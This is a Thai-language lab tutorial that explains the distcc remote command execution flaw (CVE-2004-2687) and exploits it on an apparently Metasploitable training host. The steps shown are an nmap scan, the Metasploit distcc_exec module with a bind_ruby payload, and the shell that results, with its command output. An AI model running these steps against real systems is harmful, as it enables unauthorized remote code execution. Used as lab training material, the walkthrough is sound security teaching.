บทนำ (Overviews)
distcc คือ
“distcc” เป็นการออกแบบให้สามารถ “compile” โปรแกรมได้อย่างรวดเร็วโดยใช้งานจาก “computer” เครื่องอื่นที่ “processing” ไม่ได้ถูกใช้งาน โดยเครื่องที่มี “distcc” ติดตั้งอยู่นั้นสามารถที่จะส่ง code ผ่าน network ไปยังเครื่องที่มี “distcc daemon” และ “compiler” ที่สามารถ “compile” ได้ติดตั้งอยู่
ช่องโหว่ คือ
จากความสามารถดังกล่าวใน “distcc 2.x” ลงมาจะถูกใช้อยู่ใน “XCode 1.5” ถ้าไม่ปรับแต่งค่าจำกัดการเข้าถึง “Server” จาก “port” ให้บริการอย่างดีเพียงพอ จะทำให้ผู้ประสงค์ร้ายสามารถสั่งงานผ่าน “command” ระยะไกลได้ผ่าน “process” สำหรับการ “compile” โปรแกรมได้ โดยคำสั่งจะถูก run โดย server (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687)
ขั้นตอน (Steps)
- ค้นหา “Port” ของ “distcc ” โดยใช้คำสั่งดังนี้
nmap -p 1-65535 -T4 -A -v 192.168.1.58
- จากผลลัพธ์ข้างต้นเราจะพบ “Port” หมายเลข 3632
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
- เปิด “metasploit” และค้นหา “module” ที่เกี่ยวกับ “distccd” จากนั้นใช้คำสั่งดังต่อไปนี้
msfconsole search distccd use exploit/unix/misc/distcc_exec show payloads set payload cmd/unix/bind_ruby
- จากตรงนี้เป็นการตั้งค่า “Payload” ซึ่งก็คือชิ้นส่วนของโปรแกรมที่จะทำให้เราสามารถควบคุมระบบคอมพิวเตอร์ได้ภายหลังที่สามารถยึดช่องโหว่ได้ โดยปกติ “Payload” จะถูกติดไปกับ “Exploit” และจะถูกแตกออกบนระบบจากนั้นสามารถควคุมเหยื่อได้
- จากนั้นตั้งค่า “options” ต่าง ๆ ดังนี้
show options set RHOST 192.168.1.58 exploit
- จะเห็นได้ว่าเราสามารถได้ “shell” สำหรับเครื่องเหยื่อเป็นที่เรียบร้อยทดลองใช้คำสั่งดังต่อไปนี้
hostname whoami id uid=1(daemon) gid=1(daemon) groups=1(daemon) ls -l uname -a Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux